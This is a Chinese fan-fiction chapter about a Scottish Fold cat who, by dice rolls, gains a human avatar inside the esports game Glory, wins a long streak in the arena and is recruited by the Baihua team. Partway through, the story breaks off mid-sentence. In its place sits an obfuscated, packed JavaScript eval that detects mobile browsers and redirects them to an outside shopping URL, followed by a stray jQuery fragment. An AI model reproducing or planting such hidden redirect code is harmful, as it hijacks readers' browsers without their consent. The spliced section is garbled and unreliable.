一只名叫凌玲的白色折耳猫,在被骰娘连续掷出大成功(20)、高好感(89)、高意向(73)之后,决定——打职业。
对,一只猫,要打荣耀职业联赛。
听起来很离谱。但在这个由骰子决定的宇宙里,离谱是常态,合理是意外。
骰娘A和B蹲在虚空边缘,看着凌玲趴在电脑桌上——注意,是电脑桌,不是茶几,不是手机——用肉垫一下一下地按着键盘。
“她这样练,猴年马月才能打竞技场?”
“等一等,你看她的面板——”骰娘B点开属性栏,“有个隐藏条目亮了。”
【隐藏条目·化形概率】
触发条件:执念值 ≥ 70
当前执念值:89(来自对孙哲平的感情)
化形判定:1D100 ≥ 80 成功
“卧槽,她要变人了?”
“骰子说了算。”
骰娘B握住那颗二十面的骰子——这次不是D20,是D100。骰子在虚空中旋转,像一颗被抛向天际的流星。
出目:94
“94!大成功!”骰娘A差点从虚空边缘掉下去,“她要化形了!就在今晚!”
“等等,化形需要载体。她旁边有什么?”
骰娘B扫了一眼凌玲的周围——键盘、鼠标、显示器、林医生的台式电脑主机。那台电脑是林医生专门配来打荣耀的,配置不低,机箱上还贴着荣耀的职业联赛贴纸。
“就那台电脑。林医生的主力机,里面装的是完整版荣耀客户端,天天都在运行,数据流稳定。作为化形的‘锚点’完美。”
“你是说……她从电脑里爬出来?”
“不。她的意识会从猫身转移到电脑的数据流中,然后在荣耀的虚拟世界里凝聚出人形。现实中,她还是那只猫。但在游戏里,她会有一个人类的身体。电脑是她的服务器,游戏是她的界面。”
“好家伙,赛博猫妖,主机成精。”
“闭嘴,骰子已经掷了,认。”
——
那天晚上,林医生照例打完两把荣耀,关机——不,她没关机。她只是锁了屏,把显示器关了,电脑主机还在嗡嗡地运转。
林医生有个习惯:电脑从来不关。因为荣耀更新包太大了,她嫌每次开机都要等。
这个习惯救了凌玲一命。
不,不是救。是给了她一条路。
凌玲趴在电脑机箱旁边。机箱侧板是透明的,里面有一圈RGB灯带,正在缓慢地变换颜色——蓝、紫、青、蓝。她喜欢看那些光,像深海里发光的生物。
凌晨两点十七分。屏幕忽然亮了起来。
不是林医生开的,是自己亮的。
荣耀的登录界面弹了出来,账号栏里自动填入了一串乱码——不,不是乱码,是数据流在自我组织。凌玲的瞳孔骤然收缩。她感觉到一股无形的力量从身体里被抽走,像有什么东西沿着她的爪子、穿过键盘、顺着USB线缆,流进了那台嗡嗡作响的主机。
RGB灯带猛地闪了一下——紫色,然后变成白色,然后恢复正常。
然后,她看见了——自己。
不是那只白色的折耳猫。是一个人。
一个十六岁的少女,白色中长发,细长眼,左眼角下方一颗小小的泪痣。穿着荣耀默认的新手服装,站在一片纯白的登录空间里。
她低头看了看自己的手——五根手指,修长,指甲圆润,左手的灵活性明显优于右手。
左撇子。
她试着动了动手指,每一根都能独立活动,没有骨刺,没有疼痛。
她试着抬了抬胳膊,没有“咔嗒”声。
她试着弯了弯腰,脊椎不疼。
凌玲愣了三秒钟。
然后她做了一件非常符合她人设的事——
她没有尖叫,没有震惊,甚至没有多看一眼自己的人类模样。
她直接用左手握住鼠标,点下了“进入游戏”。
——
骰娘们在虚空中看得目瞪口呆。
“她就……就这样接受了?”
“不然呢?她是一只猫,猫对于超自然事件的接受度比人类高多了。你见过哪只猫因为看到电视里的人讲话就炸毛的?”
“……也是。”
“再说了,她现在最关心的事不是‘我为什么变成了人’,而是——‘我现在能用手了,能打荣耀了吗’。”
骰娘B看了一眼凌玲的化形面板,在备注栏里写下了四个字:恐怖如斯。
——
凌玲在角色选择界面站了一会儿。
她需要一个账号。
她没有身份证,没有手机号,没有一切人类注册账号所需的东西。但她现在本身就是一串数据——一只从电脑机箱里爬出来的赛博猫妖,想绕过注册系统还不是分分钟的事?
骰娘B替她掷了个 1D100 的“黑客难度”。
出目:67
“中等偏上,能搞定,但会留下痕迹。”
凌玲伸出左手在登录界面上飞快地操作了三十秒。她利用林医生电脑里存储的荣耀客户端缓存信息和本地配置文件,绕过了一部分实名认证,成功创建了一个新账号。
严格来说,这个账号是一个幽灵账号——存在于服务器,但没有绑定任何真实身份信息。这在荣耀的早期版本里是可能的,但职业联盟后来封堵了这个漏洞。不过凌玲用的是旧版本客户端(林医生懒得更新),漏洞还在。
ID:零度折痕
这个ID她想了很久。
“零”是她的姓“凌”的谐音,也是归零、虚无的意思。
“折痕”是折耳猫的“折”,也是骨骼上那些无法抹去的痕迹。
合在一起,像一个冰冷刀锋上的碎裂印记。
职业:狂剑士
骰娘们看着这个ID,沉默了片刻。
“好名字。有那味了。”
“不枉骰子给了她86的颜值和89的感情强度。这名字能打十年。”
——
凌玲进入荣耀的新手村。
她没做任务,没打小怪,直接打开了竞技场。
因为她不需要学怎么玩——她已经在林医生旁边看了大半年的比赛,狂剑士的技能、连招、冷却时间、走位习惯,她早就刻进了骨头里。
不对,刻进了骨刺里。
竞技场的匹配系统给她安排了一个同等级的新手对手。
【零度折痕(狂剑士·1级) VS 夜雨声烦我老婆(剑客·1级)】
“这个ID好欠揍,”骰娘A说,“给她加个buff。”
“不加。让她自己打。”
凌玲左手放在键盘上——她用的是林医生那套键位,但改了几个键。
她适应了大概两分钟。然后她的手指开始自己动。
不是失控。是肌肉记忆在形成——以一种非人类的速度。
比赛开始。
对方先手,一个连突刺冲过来。标准的剑客新手操作,直线冲锋,毫无变向。
凌玲没有后退。
她控制着角色往左前方闪了一步——这是大多数人不会想到的闪避方向,因为左手选手的直觉和右手选手不同。对方的连突刺擦着她的右肩过去,打空了。
然后她按下重击。
狂剑士的一技能【崩山击】。从上往下劈,带一个小范围震荡。
对方想侧滚躲避,但凌玲的预判比他的反应快——她不是猜的,她是从他手指习惯里读出来的。那些在林医生键盘旁趴着的日日夜夜,她学会了看手指的肌肉记忆:剑客在冲锋之前,右手会有一个微小的停顿,那是玩家在调整方向。
“嘭。”
荣耀!
全程用时:11秒。
——
骰娘A吹了声口哨:“这操作,这是1级新手?这是披着猫皮的叶修吧?”
骰娘B冷静地说:“她不是操作强,她是阅读强。她看了大半年的比赛,早就把狂剑士的每一个技能拆解成了手指的动作序列。她知道什么时候该往哪躲,不是因为她反应快,是因为她已经预演了上千遍。”
“这不更恐怖吗?”
“……也是。”
“话说,”骰娘A忽然想起一个问题,“她的实体——那只白色的折耳猫,现在在哪儿?”
骰娘B切了个画面:凌玲的猫身正蜷缩在电脑机箱旁边,呼吸平稳,尾巴卷在肚皮上,睡得很香。
“她的意识在电脑里,身体在外面睡觉。等她的意识回到身体,她会记得自己在游戏里做过的一切。”
“那林医生早上起来看到一只猫睡在机箱旁边……不会觉得奇怪吗?”
“猫睡在暖和的地方,有什么奇怪的?”
“也是。”
——
凌玲没有停。
她打了一场,又一场。
从1级打到15级,从新手区打到初级竞技场,从零胜打到二十八连胜。
每一场,骰娘们都在虚空中看着她。
“检定一下,她会不会在某一场翻车。1D100,越高越稳,越低越容易被制裁。”
出目:82
“稳。今天的她,神挡杀神。”
但二十八连胜之后,匹配系统终于给她安排了一个硬茬子——一个25级的弹药专家,胜率68%,ID叫“百花是我家”。
凌玲看到这个ID的时候,瞳孔微微缩了一下。
百花。
她喜欢的战队。孙哲平曾经待过的战队。
骰娘A:“哦豁,感情牌来了。检定她会不会因为这个ID分心。1D100,越低越受影响。”
出目:31
“31——她会受影响。但不是因为紧张,是因为……她想赢给‘百花’看。”
比赛开始。
弹药专家的打法是远程骚扰+范围覆盖,和狂剑士的正面对冲完全相反。对方显然是个老手,一上来就拉开距离,往地上扔了三个感电手雷,封住了凌玲的冲锋路线。
凌玲没有冲。
她往左后方退了一步,然后突然——向右。
左撇子的惯用手是左手,但她的右手并不残疾。她在林医生那儿学会了一个道理:左撇子的优势不是左手强,而是对手不习惯你的方向。
她的右方向冲锋只是佯攻。对方下意识地往右边扔了一个冰弹,想冻住她。
但凌玲的角色在冲锋的最后0.2秒急停,然后一个左向的【崩山击】——左手方向,对手的盲区。
“命中!”
弹药专家的血条掉了三分之一。
接下来的两分钟,凌玲用同样的节奏反复撕扯对手的防线:左、右、左、左、右、左。她的走位没有规律,因为她的惯用手是左手,但她的脑子不是单线程。
最后一击,她把对方堵在墙角,一套【怒气爆发】+【十字斩】+【崩山击】的连招带走。
二十九连胜。
赛后,那个“百花是我家”的玩家在公屏打了一行字:
“你的狂剑士走位好怪,但是很强。你是左撇子?”
凌玲没有回复。
因为她不会打字。
她用猫爪按键盘还行——一个键一个键地戳,像在摁按钮。但用人类的十根手指协调运作来打字?她还在学。五个手指各司其职,对她来说比打荣耀还难。
但她记住了那个问题。
“你是左撇子?”
她想,是的。她是。
而且她还是一只折耳猫。
——
凌玲在竞技场的二十九连胜,没有逃过百花战队数据分析师的眼睛。
荣耀职业联盟的每一支战队都有专门的人在各大服务器的竞技场里挖人。那些胜率异常、操作诡异、ID陌生的高排名账号,都会被标记、跟踪、评估。
百花的数据分析师叫赵咎,二十五岁,每天的工作就是刷竞技场排行榜,看录像,写报告。
那天晚上,他在初级竞技场列表里看到了一个陌生的ID:
零度折痕 | 狂剑士 | 29连胜 | 胜率100%
“29连胜?在初级场?”赵咎皱了皱眉,点开了录像。
他看了第一场——11秒结束战斗。
“有点东西,但对手太菜了。”
他看了第五场——对手不菜了,但零度折痕的走位开始显露异常。
“这个左向闪避的频率……左撇子?”
他看了第十场——对手是个老手,但零度折痕用了三套不同的连招,每一套都针对对手的走位习惯做了微调。
“她在现场学习。这不是新手,这是天才。”
他看了第二十场——对那个“百花是我家”的弹药专家。
看到最后一击的时候,赵咎从椅子上坐直了。
“这个意识……这个抓机会的能力……”
他拿起手机,给青训营的负责人发了一条消息:
“许哥,我发现一个狂剑士苗子。ID零度折痕,29连胜,左撇子,打法非常规。要不要关注一下?”
五分钟后,回复来了:
“录像发我。如果确实可以,先标记,观察一周。”
骰娘们在虚空中看到了这条消息。
“检定一下,百花对凌玲的初始关注度。1D100,越高越重视。”
出目:79
“79,很高。赵咎已经把录像发给许思绝了。”
“那她多久会被正式接触?”
“再掷一个1D30天数。”
出目:12
“12天。两周之内,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680468|207666||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
百花的青训经理会给她发私信。”
骰娘A搓了搓手:“好家伙,剧情要加速了。”
骰娘B看着凌玲还在竞技场里排队的背影,轻轻说了一句:
“不急。她还得先学会打字。”
“还有,”骰娘A补充道,“她还得学会说话。竞技场不需要语音,但战队需要。”
“一步一步来。学习能力94不是摆设。”
——
凌玲在化形后的第一个星期,遇到了三个难题。
第一个难题:她只能在游戏里变人。
她的人类形态只存在于荣耀的客户端里。现实中,她依然是一只白色的折耳猫,趴在林医生的电脑桌上,等着猫粮和阳光。这意味着她无法参加线下的试训,无法去战队基地,无法和任何人面对面交流。
“除非……”骰娘A说,“她再掷一次化形延伸,让她的身体也能变形。”
“以后再说,剧情没到那一步。”
第二个难题:她没有身份。
“零度折痕”这个账号是用漏洞注册的幽灵账号,经不起正式调查。如果百花真的想签她,第一件事就是要她的身份证。
凌玲是猫。猫没有身份证。
“这个可以用骰子解决。检定一个‘身份伪造成功率’,1D100。”
出目:45
“45,不成功也不失败。她能糊弄一时,糊弄不了一世。”
“那就是说,身份问题会成为后面的一个剧情爆点。”
“对。”
第三个难题:她不会说话。
不是不会打字——是不会说话。她的声带还是猫的声带,即使化形后有了人类的喉咙,她也没学过怎么用人类的发音方式说话。
她可以“喵”,但不能“你好”。
这在职业圈是个致命问题。比赛可以用打字交流,但训练赛、战术讨论、赛后复盘,都需要语音。
凌玲现在做不到。
“那怎么办?”
“学呗。她一只猫都能学会打荣耀,还学不会说话?”
骰娘B看了一眼凌玲的“学习能力”隐藏属性。
【学习能力· 1D100 = 94】
“94。她的学习能力是怪物级的。给她一个月,她能开口说人话。”
“那这个月怎么安排?”
“继续打竞技场。打到排名足够高,让百花急。等他们急着想要她的时候,她再解决身份和语言问题——或者,让骰子帮她解决。”
骰娘A笑了:“你搁这卡剧情呢?”
“这叫戏剧张力。”
——
在接下来的两周里,“零度折痕”这个ID在次级服务器的竞技场里成了一个小范围的传说。
有人说她是退役职业选手的小号,因为她的意识太好了。
有人说她是某个战队的青训生出来炸鱼,因为她的连招太流畅了。
还有人说她根本不是一个真人,而是一个AI——因为她在每场比赛里都会以同样的频率、同样的间隔、同样的方向去做某一个微小操作,像程序一样精确。
没有人猜到她是一只猫。
因为正常人不会往那个方向想。
凌玲不在意别人怎么猜。她只知道,她的排名在上升,她的胜率在上升,她的狂剑士——那个在屏幕里挥舞重剑的人形角色——正在变得越来越像她梦里的那个人。
那个站在红色花海中、右手缠着绷带的人。
孙哲平。
有一天深夜,凌玲打完最后一把排位,没有立刻退出游戏。她打开职业联赛的录像库,找到了孙哲平职业生涯的最后一场比赛。
她看了一遍。
然后又看了一遍。
骰娘们在虚空中安静地看着她。
“检定一下,她看完之后的心情。1D100,越高越正面(被激励),越低越负面(被打击)。”
出目:88
“88。她没有难过,她被激励了。”
“因为她看到了他退役之前的状态——手伤已经那么严重了,还能打出那种操作。”
“她想替他打完他没打完的比赛。”
“不,”骰娘B轻轻摇了摇头,“她想和他一起打。”
骰娘A沉默了一会儿,然后说:“你不是说她喜欢他吗?”
“是。但喜欢分很多种。有的喜欢是想靠近,有的喜欢是想并肩。”
“她是哪一种?”
骰娘B看了一眼那颗二十面的骰子。
骰子没有动,但它的阴影里浮出了一个数字:
19
接近大成功。
“那一种,”骰娘B说,“最费劲的那一种。”
——
第十二天。
凌玲的“零度折痕”在次级服竞技场的排名已经冲进了前两百。胜率92%,狂剑士单职业排名第十七。
那天晚上,她打完一场排位,退出对局后,发现收件箱里多了一封新邮件。
发件人ID:百花青训-赵咎
标题:你好,我是百花战队青训营的分析师
内容:
“零度折痕你好,我是百花战队青训营的数据分析师,姓赵。我们在竞技场关注到你的狂剑士操作,觉得非常有潜力。不知道你是否对加入百花青训营感兴趣?我们可以提供试训机会。如有意向,请回复此邮件,我们进一步沟通。”
凌玲盯着这封邮件,看了整整两分钟。
她的左眼角那颗泪痣在屏幕的光线下微微发亮。
骰娘们在虚空中已经炸开了锅。
“来了来了来了!百花!96好感度的百花!”
“检定她会不会立刻回复!”
“1D100,越高越积极。”
出目:90
“90!她恨不得现在就回复!”
“但她不会打字啊!”
“……”
“那她怎么办?”
凌玲的做法很简单。
她用左手的食指,在键盘上一个字母一个字母地敲出了三个字:
“我愿意”
然后她对着这三个字发了一会儿呆。
因为她忽然意识到,“我愿意”三个字,看起来很像婚礼誓词。
骰娘A笑出了猪叫。
骰娘B没有笑。她只是看着那颗骰子,轻轻说了一句:
“19的感情,90的意向,94的学习能力。这只猫,要搞大事了。”
窗外,月光照在那台嗡嗡作响的电脑主机上。
RGB灯带从蓝色慢慢变成了紫色。
凌玲还是那只折耳猫,蜷缩在机箱旁边,尾巴卷在肚皮上。
但在数据的世界里,一个叫“零度折痕”的狂剑士,刚刚迈出了走向职业圈的第一步。